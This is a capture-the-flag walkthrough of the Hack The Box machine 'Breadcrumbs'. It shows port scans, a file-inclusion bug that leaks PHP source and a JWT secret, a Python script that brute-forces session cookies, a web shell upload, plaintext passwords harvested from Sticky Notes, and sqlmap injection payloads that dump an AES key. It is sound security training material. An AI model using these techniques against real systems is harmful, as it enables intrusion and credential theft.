Hack The Box: Breadcrumbs

Enumeration
Nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1/bmEHFv3nRSf2uH/akLLIfkmpxbSWiVReOdwmJrM2iD9g1gqVHIceIxat222PnYkLHYG23lUQMiTXcvuwBHeB+dMUNv09IHDKCCT9XOTWc+900zrFLRoyR6LQ2O3vQ+JgWpWlvtZAV6FvcSSK3ai767qIdBNG8SAxwwQZlSxX7D/n28VJlPcXXtzoiSt+lQ1T1sq7qIXPM2CyY7qoTLjcvDz/IYqbXbinsLLOCZ9MnRnDbE8E9tLeAJGcxhpNgk0LNN6xGbj49zVhy1TRrVNhh4RD+uczVqufMQIHdCnL61p9ZIepQxhJvwSf4IHH+oaM6wy3Yu0W6pg5wQWXIkj
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMPvEspRGrd2/vma82j25vli6C/Td5Gvl44e9IhXeZOlvojawx4tbo/OdBytc+X9b/OSP01kLK4Od62NrQmN39s=
| 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII+TY3313X2GdjXH6r6IrDURWI4H4itbZG41GaktT00D
80/tcp open http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds? syn-ack
3306/tcp open mysql? syn-ack
| mysql-info:
|_ MySQL Error: Host '10.10.14.4' is not allowed to connect to this MariaDB server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1h00m00s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 27986/tcp): CLEAN (Couldn't connect)
| Check 2 (port 9573/tcp): CLEAN (Couldn't connect)
| Check 3 (port 55442/udp): CLEAN (Timeout)
| Check 4 (port 51923/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-15T16:56:54
|_ start_date: N/A
Fuzzing The Web Server
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ ffuf -u http://10.10.10.228/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.10.228/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
includes [Status: 301, Size: 339, Words: 22, Lines: 10]
js [Status: 301, Size: 333, Words: 22, Lines: 10]
css [Status: 301, Size: 334, Words: 22, Lines: 10]
db [Status: 301, Size: 333, Words: 22, Lines: 10]
php [Status: 301, Size: 334, Words: 22, Lines: 10]
webalizer [Status: 403, Size: 301, Words: 22, Lines: 10]
phpmyadmin [Status: 403, Size: 301, Words: 22, Lines: 10]
portal [Status: 301, Size: 337, Words: 22, Lines: 10]
books [Status: 301, Size: 336, Words: 22, Lines: 10]
licenses [Status: 403, Size: 420, Words: 37, Lines: 12]
Looking at the web server reveals the following:

We also have a login/sign up form over at /portal:

If we create a user we can login:

Looking around gives us a list of potential users to target, and a few internal tasks:

Trying to access the File management
page results in a redirect, so we're not able to upload files.
Leaking PHP Source Code
Looking back at the Library page and sending requests through Burp gives us the following:

What's interesting is the method
parameter. What if we send the request to repeater and change the method to 1
?

We get an error message saying that an array key called book
is not found. We also see a file_get_contents
giving a No such file or directory
.
So by changing the method to 1
we potentially found a way to trigger a Local File Inclusion vulnerability.
Let's try and include index.php and see if PHP spits out the source code.

We successfully leaked the source code of a PHP file!
Now, let's see what other interesting files we can leak.
login.php
login.php is including authController.php
. So let's try and leak the source code of that file.

After a bit of cleanup we're left with the following:
<?php
require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;
$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];
\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
if($_POST['method'] == 0){
$username = $_POST['username'];
$password = $_POST['password'];
$query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($query);
$stmt->bind_param('s', $username);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_ASSOC)){
array_push($userdata, $row);
}
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$password = sha1($password);
$passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
$stmt = $con->prepare($passwordQuery);
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
$valid = true;
}
$stmt->close();
}
if($valid){
session_id(makesession($username));
session_start();
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$data = array();
$payload = array(
\"data\" => array(
\"username\" => $username
));
$jwt = JWT::encode($payload, $secret_key, 'HS256');
setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");
$_SESSION['username'] = $username;
$_SESSION['loggedIn'] = true;
if($userdata[0]['position'] == \"\"){
$_SESSION['role'] = \"Awaiting approval\";
}
else{
$_SESSION['role'] = $userdata[0]['position'];
}
header(\"Location: \/portal\");
}
else{
$_SESSION['loggedIn'] = false;
$errors['valid'] = \"Username or Password incorrect\";
}
}
elseif($_POST['method'] == 1){
$username=$_POST['username'];
$password=$_POST['password'];
$passwordConf=$_POST['passwordConf'];
if(empty($username)){
$errors['username'] = \"Username Required\";
}
if(strlen($username) < 4){
$errors['username'] = \"Username must be at least 4 characters long\";
}
if(empty($password)){
$errors['password'] = \"Password Required\";
}
if($password !== $passwordConf){
$errors['passwordConf'] = \"Passwords don't match!\";
}
$userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($userQuery);
$stmt ->bind_param('s',$username);
$stmt->execute();
$result = $stmt->get_result();
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$errors['username'] = \"Username already exists\";
}
if(count($errors) === 0){
$password = sha1($password);
$sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
$stmt = $con->prepare($sql);
$stmt ->bind_param('ss', $username, $password);
if ($stmt->execute()){
$user_id = $con->insert_id;
header('Location: login.php');
}
else{
$_SESSION['loggedIn'] = false;
$errors['db_error']=\"Database error: failed to register\";
}
}
}
}"
Looking through the source code reveals a JWT secret. So we're now able to forge a valid JWT.
The file is also including cookie.php
. Let's leak that file as well.
cookie.php

After a bit of cleanup:
<?php
/**
* @param string $username Username requesting session cookie
*
* @return string $session_cookie Returns the generated cookie
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK
* */
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
files.php
Remember earlier when we couldn't access the File management
page? Let's leak the source code and see exactly what's happening.
Sending the request to File management
through Burp reveals that the file is located at /portal/php/files.php
.
Leaking the source results in the following:

Looking at the very first PHP line, we see that if we're not the user paul
, we are automatically sent back to index.php
.
Bruteforcing Cookie + Forging JWT
We now have everything we need to forge a valid JWT and create our own session cookie.
We also know that we need to target the user paul
.
I just wrote a simple Python script to bruteforce a valid session cookie:
import hashlib
import random
import logging
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
logging.root.setLevel(logging.NOTSET)
urllib3_log = logging.getLogger("urllib3")
urllib3_log.setLevel(logging.CRITICAL)
url = 'https://10.10.10.228/portal'
not_valid_cookie = True
while not_valid_cookie:
logging.info('Generating new cookie')
username = "paul"
seed = random.randint(0, len(username) - 1)
key = "s4lTy_stR1nG_" + username[seed] + "(!528./9890"
session_cookie = hashlib.md5(key.encode())
session_cookie = {'PHPSESSID': username + hashlib.md5(key.encode()).hexdigest()}
logging.info('Session cookie: {}'.format(session_cookie))
response = requests.get(url, cookies=session_cookie, verify=False)
if 'Disabled for economical reasons' in response.text:
logging.info('Found a valid session cookie for: {}!'.format(username))
logging.info('Session cookie: {}'.format(session_cookie))
not_valid_cookie = False
Running the script:
┌─[✗]─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ python3 bruteforce_session_cookie.py
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paula2a6a014d3bee04d7df8d5837d62e8c5'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul61ff9d4aaefe6bdf45681678ba89ff9d'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul8c8808867b53c49777fe5559164708c3'}
INFO:root:Generating new cookie
INFO:root:Session cookie: {'PHPSESSID': 'paul47200b180ccd6835d25d034eeb6e6390'}
INFO:root:Found a valid session cookie for: paul!
INFO:root:Session cookie: {'PHPSESSID': 'paul47200b180ccd6835d25d034eeb6e6390'}
paul47200b180ccd6835d25d034eeb6e6390
is a valid session cookie for paul!
Let's add that to our browser and try impersonating paul
.

We successfully login as paul
, but if we try and upload a file we get an error message:

We still need to forge a valid JWT.
Decoding the current JWT reveals why we get an error message:
{
"data": {
"username": "s1gh"
}
}
We can use jwt.io to forge a valid JWT using the secret we leaked earlier.

Now, let's add that token to our web browser and try uploading something.

We have successfully forged the JWT and session cookie, and can finally upload files.
Initial Foothold
Let's upload a "fake" .zip file, send the request through Burp and upload a PHP shell.


Browsing to /portal/uploads/shell.php
now gives us code execution:

Looking around the file system I find a pizzaDeliveryUserData
in the web directory.
Here we find a .json file containing a username and password.

Using these credentials we are able to login to SSH as juliette
:
┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh juliette@10.10.10.228
juliette@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
juliette@BREADCRUMBS C:\Users\juliette>
Here we also find the user flag:
juliette@BREADCRUMBS C:\Users\juliette\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Users\juliette\Desktop
01/15/2021 05:04 PM <DIR> .
01/15/2021 05:04 PM <DIR> ..
12/09/2020 07:27 AM 753 todo.html
07/14/2021 08:19 PM 34 user.txt
2 File(s) 787 bytes
2 Dir(s) 5,482,467,328 bytes free
juliette@BREADCRUMBS C:\Users\juliette\Desktop>type user.txt
80bb799077cd87b7c7285180ed911989
Checking out C:\
we find a Development
directory that we can't access.
juliette@BREADCRUMBS C:\>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\
01/15/2021 05:03 PM <DIR> Anouncements
01/15/2021 05:03 PM <DIR> Development
12/07/2019 02:14 AM <DIR> PerfLogs
02/01/2021 08:50 AM <DIR> Program Files
12/07/2019 02:54 AM <DIR> Program Files (x86)
01/17/2021 02:41 AM <DIR> Users
02/01/2021 02:10 AM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 5,477,453,824 bytes free
juliette@BREADCRUMBS C:\>cd Development
Access is denied.
Privilege Escalation
Looking again at the Desktop for the user juliette
we find a todo.html
:
juliette@BREADCRUMBS C:\Users\juliette\Desktop>type todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>
</html>
She mentions migrating passwords from the Microsoft Store Sticky Notes. Maybe they contain a new set of credentials?
These are stored here: <user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
After we download this file to our local machine, we can easily parse the database using stickynoteparser.py
, or simply use strings
. I decided to use stickynoteparser.py
:
┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ python3 stickynoteparse.py -p plum.sqlite
**********
plum.sqlite
**********
{
"Note": [
{
"Text": "\\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!\n\\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g\n\\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]",
"WindowPosition": "ManagedPosition=",
"IsOpen": 1,
"IsAlwaysOnTop": 0,
"CreationNoteIdAnchor": null,
"Theme": "Yellow",
"IsFutureNote": 0,
"RemoteId": null,
"ChangeKey": null,
"LastServerVersion": null,
"RemoteSchemaVersion": null,
"IsRemoteDataInvalid": null,
"Type": null,
"Id": "0c32c3d8-7c60-48ae-939e-798df198cfe7",
"ParentId": "8e814e57-9d28-4288-961c-31c806338c5b",
"CreatedAt": 637423162765765332,
"DeletedAt": null,
"UpdatedAt": 637423163995607122
}
],
"Stroke": [],
"StrokeMetadata": [],
"User": [
{
"Type": null,
"Id": "8e814e57-9d28-4288-961c-31c806338c5b",
"ParentId": "8e814e57-9d28-4288-961c-31c806338c5b",
"CreatedAt": 637422450113001719,
"DeletedAt": null,
"UpdatedAt": 637422450113001719
}
],
"SyncState": [],
"UpgradedNote": [],
"Media": []
}
Here we find credentials for the development user:
development:fN3)sN5Ee@g
We can now login to SSH as development
:
┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh development@10.10.10.228
development@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
Checking out the Development directory we couldn't access earlier:
development@BREADCRUMBS C:\Users\development>cd \development
development@BREADCRUMBS C:\Development>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Development
01/15/2021 05:03 PM <DIR> .
01/15/2021 05:03 PM <DIR> ..
11/29/2020 04:11 AM 18,312 Krypter_Linux
1 File(s) 18,312 bytes
2 Dir(s) 5,477,597,184 bytes free
Downloading this file to our local machine and doing a simple strings
check gives us the following:
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ strings -n 10 Krypter_Linux
/lib64/ld-linux-x86-64.so.2
libcurl.so.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
curl_easy_cleanup
curl_easy_init
curl_easy_setopt
curl_easy_perform
libstdc++.so.6
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKcm
_ZNSt8ios_base4InitC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
libgcc_s.so.1
_Unwind_Resume
__cxa_atexit
__cxa_finalize
__libc_start_main
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.2.5
CURL_OPENSSL_4
[]A\A]A^A_
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
Looks like we found a new URL: http://passmanager.htb:1234/index.php method=select&username=administrator&table=passwords
When trying to access the URL on port 1234 we aren't getting a response.
As the development
user we check if port 1234 is open:
development@BREADCRUMBS C:\Users\development>netstat -ano | findstr :1234
TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING 2796
Port 1234 is only listening on 127.0.0.1, so we are unable to access that port from the outside.
But since we have SSH access we can simply port forward and use a SSH tunnel.
┌─[✗]─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ ssh development@10.10.10.228 -L :1234:127.0.0.1:1234
development@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
┌─[s1gh@fsociety]─[~/Breadcrumbs]
└──╼ $ curl '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords'
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
We are now able to access the server, even though it's only listening on localhost!
Let's throw SQLMap at the url and see what we get.
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ sqlmap -u '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' --batch
___
__H__
___ ___[)]_____ ___ ___ {1.5.3#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:27:54 /2021-07-15/
[22:27:54] [INFO] resuming back-end DBMS 'mysql'
[22:27:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=select&username=administrator' AND 5556=5556 AND 'HaIU'='HaIU&table=passwords
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: method=select&username=administrator' AND (SELECT 6616 FROM (SELECT(SLEEP(5)))pctj) AND 'uLNJ'='uLNJ&table=passwords
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: method=select&username=administrator' UNION ALL SELECT CONCAT(0x71766a7171,0x62585959767444796d47796b77426a736d53464647434e6957746c4f6c414749686554676b624178,0x7176707671)-- -&table=passwords
---
[22:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 8.0.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
The website is vulnerable to SQL Injection!
Let's dump the database.
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ sqlmap -u '127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' --batch --dump
___
__H__
___ ___[.]_____ ___ ___ {1.5.3#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:28:44 /2021-07-15/
[22:28:44] [INFO] resuming back-end DBMS 'mysql'
[22:28:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=select&username=administrator' AND 5556=5556 AND 'HaIU'='HaIU&table=passwords
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: method=select&username=administrator' AND (SELECT 6616 FROM (SELECT(SLEEP(5)))pctj) AND 'uLNJ'='uLNJ&table=passwords
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: method=select&username=administrator' UNION ALL SELECT CONCAT(0x71766a7171,0x62585959767444796d47796b77426a736d53464647434e6957746c4f6c414749686554676b624178,0x7176707671)-- -&table=passwords
---
[22:28:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 8.0.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:28:44] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:28:44] [INFO] fetching current database
[22:28:44] [INFO] fetching tables for database: 'bread'
[22:28:45] [INFO] fetching columns for table 'passwords' in database 'bread'
[22:28:45] [INFO] fetching entries for table 'passwords' in database 'bread'
[22:28:45] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[22:28:45] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[22:28:45] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[22:28:45] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[22:28:45] [INFO] starting 8 processes
[22:28:49] [WARNING] no clear password(s) found
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account | aes_key | password |
+----+---------------+------------------+----------------------------------------------+
| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+
We have an AES key and an encrypted password. We can use Cyber Chef to decrypt the password, using an IV of all zeroes.

We can finally login as Administrator and get the root flag.
┌─[✗]─[s1gh@fsociety]─[~/Documents/HackTheBox/Machines/Breadcrumbs]
└──╼ $ ssh administrator@10.10.10.228
administrator@10.10.10.228's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
administrator@BREADCRUMBS C:\Users\Administrator>cd desktop
administrator@BREADCRUMBS C:\Users\Administrator\Desktop>type root.txt
7249cedb1bba28daed9e1eba6e8d170c
